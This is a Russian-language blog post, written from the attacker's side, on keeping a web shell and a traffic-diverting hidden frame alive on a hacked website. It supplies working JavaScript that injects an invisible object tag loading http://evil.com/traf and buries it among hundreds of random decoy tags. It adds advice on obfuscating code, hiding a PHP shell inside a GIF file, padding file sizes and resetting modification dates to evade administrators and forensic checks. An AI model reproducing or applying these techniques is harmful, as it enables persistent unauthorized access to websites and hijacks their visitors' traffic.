Как продлить существование web shell

Забегая вперед скажу, что тут речь будет идти не столько о продлении жизни iframe и web shell, сколько об альтернативе ему, что позволяет сливать траф дольше, даже после того, как админ опомниться, так что под «фреймом» будет подразумеваться другой элемент (который кстати технически фреймом и является).

http://s9.postimg.org/jdlhy3y4f/screenshot_14.png
Рано или поздно, после обнаружения бага на сайте, позволяющего залить web shell (или уже после залития) могут возникать вопросы по поводу того, как бы понадежнее спрятать его (web shell), а также — как бы подольше сохранить iframe на странице, чтобы не играть потом с админом в «добавь-удали» и как можно дольше не привлекать внимание к тому факту, что на сайте трется кто-то посторонний. Такие вопросы возникали (и возникают) у меня, особенно, после нескольких случаев, когда фрейм с шеллом не приказали долго жить. Методами проб и ошибок, а также на опыте людей, который занимаются тем, что «фиксят» сайты людям, у которых залит шелл или стоит фрейм, которые порой встречаются очень смышленными и спрятать от них код бывает крайне затруднительно (или спрятать на относительно длительное время).

Поэтому тут хочу поделиться некоторыми приемами и процедурами, которые в свое время помогли сохранить/продлить пребывание не одному web shell и фрейму. И конечно можно будет поступать более гибко и не бросать в бой все возможные способы для запрятывания кода, если например сайт не особо посещаем и не имеет особой другой какой-то ценности, хотя для кого-то лишняя шифрация никогда не бывает лишней.

Итак, ситуация: доступ к сайту есть, наша задача — начать лить траф (пусть лить будем на http://evil.com/traf) и потом закрепить это все заливкой web shell. Хотя обычно сначала льют web shell, а потом через него с трафом что-то делают, но пока разберем именно, как сливать.
В такой ситуации лучше думать, как действуют те люди, которые занимаются поиском и удалением всех этих вещей. То есть ситуация такая: админу начали жаловаться антивири или его посетители, мол что-то не так. И он нанимает человека для выяснения обстановки (или сам начинает этим заниматься).

Обычно эти люди сначала удаляют web shell, а потом его последствия в виде фреймов, но технически это два обособленных процесса, поэтому можно их разобрать не по порядку.

Усложняем детект фрейма.

Будем исходить из того факта, что все (или почти все) эти спецы основываются на том, что мы льем трафик через iframe, но чуть позже покажу альтернативный способ.
Чтобы найти фрейм, можно использовать 3 способа:
1) В html-коде непосредственно (читая его);
2) В html-коде через поиск (по DOM-дереву или по текстовой версии) по каким-либо признакам;
3) Через JS в консоли браузера;
Значит наша задача — сильно усложнить каждый из них. Теперь как можно усложнить жизнь по каждому из трех пунктов:

1) Надо просто насоздавать через JS кучу рандомных вложенных тегов, в одном из которых и будет наш код, а остальное — мусор. Тут даже если кто-то решиться вручную прошерстить код, то желание быстро поугаснит;
2) Для того чтобы усложнить, определим признаки, по которым может осуществляться поиск — по названию тега «iframe», по URL, к которому делается запрос из нашего кода (эту инфу можно добыть и через прокси, и через обычную вкладку мониторинга сети в панеле разраба в барузере). Поэтому наша задача — не использовать тег iframe и как-то обфусцировать URL;
3) Тут в консоли будут вбивать что-то типа document.getElementsByTagName(«iframe») и смотреть на результат. Усложнить можно переопределив функцию getElementsByTagName или решив задачу из пункта 2, не используя iframe;

С первым все ясно, реализацию приведу чуть позже, а вот 2 и 3 пункты намекают, что надо сливать трафик, но не через iframe. Я еще не видел упоминания о том, что можно сливать не через фрейм, но когда-то заинтересовался этим вопросом, ведь это даст хорошую фору, пока фишку не просечет большинство. В общем я попробовав несколько тегов, чуть не забыл про очень похожий на iframe тег — object, который позволяет также подгружать различный интерактивный контент типа flash, java, pdf и прочие данные, для которых определены mime-типы. Ну и попробовал подгрузить html код сайта и сработало:

<object data='http://evil.com/traf' type="text/html" width="0" height="0"></object>

Так что теперь наш тег можно найти на странице только по URL’у или вручную. Чтобы затруднить поиск по URL’у можно сам адрес обфусцировать и редиректнуть через JS:

<object data='data:text/html,<script>window.location.href="x68x74x74x70x3Ax2Fx2Fx61x6Cx65x78x61x6Cx6Cx65x79x2Ex63x6Fx6D"</script>' type="text/html" width="0" height="0"></object>

Но после некоторых раздумий, я понял, что это бесполезно smile.gif

Ведь все равно у нас остается сигнатура из JS кода (ее можно посмотреть по ссылке во вкладке мониторинга сети из панели разработчика в хроме), по которой можно сделать поиск по html-коду, так что так можно не мудрить.

[ad name=»Responbl»]

Для всех трех пунктов позже написал функцию, которая принимает на вход адрес (куда сливаем) и «мусорит» с документе, создавая кучу сигнатур-копий, не возволяя нормально искать, создает object и рандомно его пихает в какое-нибудь место ближе к середине, предварительно вложив в несколько тегов. И каждый раз все это происходит рандомно, то есть перезагрузив страницу, положение тега и всех лишних, сбивающих с толку, тоже будет отличным от предыдущего.

var url = "http://evil.com/traf"; //заменить

window.onload = function(){
 loadUrl(url);
};

function loadUrl(){
 //создаем object для слива трафа через него
 container = document.createElement("x6Fx62x6Ax65x63x74"); //навсякий случай изменим формат названию тега
 container.data = url;
 container.width = 0;
 container.height = 0;
 container.style.opacity = 0;
 container.style.position = "absolute";
 container.style.top = 0;
 container.style.left = 0;
 container.type = "text/html";
 //создаем вложенную структуру для того, чтобы чуть "глубже" вставить наш object в документ
 //заодно и повпихиваем наших сигнатур, чтобы нельзя было делать нормально поиск, а потом их еще добавим
 var wrap = document.createElement("div");
 var deepLevel = getRandom(3, 5); //количество уровней вложенности
 litter(wrap, deepLevel, 10, 15);
 var divs = document.getElementsByTagName("div");
 if (divs.length == 0){
  var index = getRandom(Math.round(document.body.childNodes.length/4), Math.round(document.body.childNodes.length*0.75));
  var buf = document.createElement("div");
  document.body.insertBefore(buf, document.body.children[index]);
  buf.appendChild(wrap);
 } else {
  var div = divs[getRandom(Math.round(divs.length/4), Math.round(divs.length*0.75))];
  addToTheEnd(div, wrap);
 }
 addToTheEnd(wrap, container); //добавляем тег в тело
 foul(300); //дополнительно мусорим еще (на 300 тегов)
}

//добавить еще сигнатур уже после добавления тега object
function foul(num){
 for (var i=0; i<num; i++){
   var index = getRandom(0, document.body.childNodes.length-1);
   var insert = getRandom(1, 2) == 1 ? true : false;
   var tags = ['div', 'span', 'p', 'section']; //какие теги будут для смешивания
  var attrs = ['id', 'name', 'class', 'other']; //атрибуты для каждого из тега
   var tag = tags[getRandom(0, tags.length-1)];
   tag = document.createElement(tag);
   for (var k=0; k<attrs.length; k++){
     var attr = attrs[k];
     var len = getRandom(5, 10);
     tag.setAttribute(attr, getRandomString(len));
     tag.setAttribute("data", url);
     tag.style.display = "none";
   }
   if (insert) addToTheEnd(document.body, tag);
   else document.body.insertBefore(tag, document.body.children[index]);
 }
}

//функция для добавления object'а в один из концов созданной вложенной структуры
function addToTheEnd(wrapper, element){
 //console.log(wrapper.children);
 if (wrapper.children.length == 0) {
  wrapper.appendChild(element);
  return;
 }
 var childs = wrapper.children;
 var index = getRandom(0, childs.length-1);
 if (childs.length == 0) {
   wrapper.appendChild(element);
  return;
 }
 addToTheEnd(childs[index], element);
}

//функция для создания вложенной структуры, куда потом вставлять object
function litter(element, dl, tn1, tn2){
 //dl - количество уровней вложенности
 //tn1 и tn2 - диопазон количества тегов на уровень
 for (var i=0; i<dl; i++){
  var elements = getRandom(tn1, tn2); //количество элементов на один уровень вложенности
  var tags = ['div', 'span', 'p', 'section']; //какие теги будут для смешивания
  var attrs = ['id', 'name', 'class', 'other']; //атрибуты для каждого из тега
   for (var j=0; j<elements; j++){
     var indx = getRandom(0, tags.length-1);
     var tag = tags[indx];
     tag = document.createElement(tag);
     for (var k=0; k<attrs.length; k++){
       var attr = attrs[k];
       var len = getRandom(5, 10);
       tag.setAttribute(attr, getRandomString(len));
       tag.setAttribute("data", url);
       tag.style.width = 0;
       tag.style.height = 0;
       tag.style.opacity = 0;
     }
     element.appendChild(tag);
   }
   elements = getRandom(1, elements);
   for (var j=0; j<elements; j++){
     dl -= 1;
     if (dl <= 0) return;
     litter(element.childNodes[j], dl, tn1, tn2);
   }
 }
}

function getRandom(min, max) {
 return Math.round(Math.random() * (max - min) + min);
}

function getRandomString(len){
 var text = "";
 var alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
 for( var i=0; i<len; i++)
   text += alpha.charAt(Math.floor(Math.random() * alpha.length));
 return text;
}

Через этот скрипт можно либо намусорить на странице везде тегами с лишней инфой, но тогда есть риск, если админ проверяет верстку, что сразу же заметит что-то неладное (еще до того, как антиври или юзеры ему сообщать начнут). Если такого развития событий надо избежать, то можно удалить или закомментировать 34 строку (foul(300);).

А можно просто сделать так, чтобы для тега object создавалась большая структура с другими тегами, вложенными на множество уровней вглубь, а эту структуру потом скрипт добавит куда-то в середину документа (заметить будет тяжело, даже если верстку проверять).
Ну а можно оба процесса сразу задействовать.
Перед использованием, конечно же, надо минимизировать и обфусцировать этот JS код (например, тут).

[ad name=»Responbl»]

Добавлять этот (или любой другой) код JS, который будет инициировать слив трафика можно разными способами, но я бы не советовал добавлять его в какие-нибудь подключаемые JS файлы типа jquery.min.js, потому что если попадется опытный дядька, то он может начать по одному удалять подключаемые к страницам скрипты, выявляя когда запросы на evil.com/traf перестанут идти. Тем самым он через несколько минут определит файл, в котором наш JS есть и снесет его или обновит до нормальной версии (если есть обфускация, то штука с object навряд ли спалиться — это вторая причина обфусцировать JS-код, а не только для сложности детекта через grep).

Также нежелательно подключать JS код через какие-нибудь созданные файлы с расширениями картинок или CSS, так как это тоже будет заметно опытным людям в панеле мониторинга сети (что расширение одно, а типа файла другой) и быстро детектиться, если за это возьмется спец.

Поэтому лучше код подключать через PHP скрипты напрямую, где найти его будет сложнее и еще добавить самоликвидацию инициирующего JS кода после того, как он отработал. Ведь чтобы понять в каком-нибудь WordPress’e, откуда код подключается, надо узнать место либо фрейма, либо самого кода, что сделать затруднительно при выполнении тех трех пунктов.

Усложняем детект web shell.

Тут речь пойдет о паблик шеллах, хотя часть заметок конечно может быть применена и к самописным.
1) Самое основное — обфускация, иначе потом при первом же grep’e по каким-нибудь ключевым словам из паблик шеллов можно будет найти наш код. И обфусцировать лучше каким-нибудь инструментом, который не просто переводит весь код в строку из base64 и пихает в eval, так как некоторые ресерчеры грепают по длинным regex’ам из цифр и букв hex’a, чтобы задетектить в файлах длинные строки наподобии base64 и быстро находят обфусцированные куски кода, которые и выдают местоположение web shell.
2) Местом для размещения шелла хорошо подойдет какая-нибудь картинка, которую можно залить в папку к какому-нибудь юзеру на сайта рядом с аватаркой (юзеры почти всегда есть). Если переводить в формат GIF, то можно даже не использовать инструментов, а прямо в тексте прописать:

GIF89a <?php
//php-код шелла

Такое размещение кода чуть повысит шансы, так как некоторые люди при поиске по папкам сайтов не включают файлы картинок в поиск (важно, что не файлы с расширениями картинок, так как там очень даже вероятно, есть шелл, а именно файлы, которые синтаксически являются картинкой).

[ad name=»Responbl»]

3) Cаму эту картинку инклудить в какие-то местные файлы php, а не создавать свой для этих целей, при чем код самого инклуда лучше обфусцировать тоже (ресерчеры тоже часто грепают директивы включения файлов PHP на наличие шеллов или подозрительных вставок).
4) Еще важный момент — лучше инклудить код (картинку) в файлы, которые не являются служебными. То есть бывают файлы, которые только включаются в другие и к ним не обращаются напрямую через веб-сервер. Так вот, ресерчер может составить список таких файлов и пробить по access.log, какие из них там засветились, то есть к ним не должны были обращаться, но обращались, значит либо кот по клавитуре пробежался, пока юзер на сайте сидел и набрал магическим образом нужное имя, либо этот юзер «что-то знает» и не с проста этот файл запрашивает.
5) Также есть небольшая мелочь (которую правда все равно лучше не исключать, если очень сильно трясемся за шелл) — после добавления строки инклуда нашего кода размер файла, куда мы добавляем увеличиться на несколько десятков байт (в зависимости от обфускации), поэтому лучше на столько же байт сократить его — удалить какие-то комментарии (они есть почти всегда, особенно в паблик CMS’ках типа Joomla, WP, Drupal etc). С большинство современных текстовых редакторов можно будет не считать символы, например, Sublime отображает количество выделенных символов (байт) в нижнем левом углу. Просто есть и настолкьо кропотливые ресерчеры, которые качают нужную версию CMS и автомитизированно сравнивают размеры файлов и все несовпадения проверяют.
6) Ну и еще один маленький, но немаловажный нюанс: после добавления своего кода (в картинке или нет) и изменения каких-либо файлов (куда мы инклудили, например), надо обязательно вернуть или сделать близкой к правде дату последного изменения, какой-нибудь командой типа touch. Потому что некоторые ресерчеры также ищут файлы, которые были недавно изменены или контрастируют с датами изменения остальных файлов в какой-то директории, что также может выдать шелл.

Это вроде бы все моменты, которые успел припомнить, если что-то еще появиться, допишу. И будет интересно, если кто-то напишет какие-то свои методы (или недостатки описанных выше).

Click to rate this post!
[Total: 5 Average: 3.4]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Как продлить существование web shell

Leave a reply:

Your email address will not be published.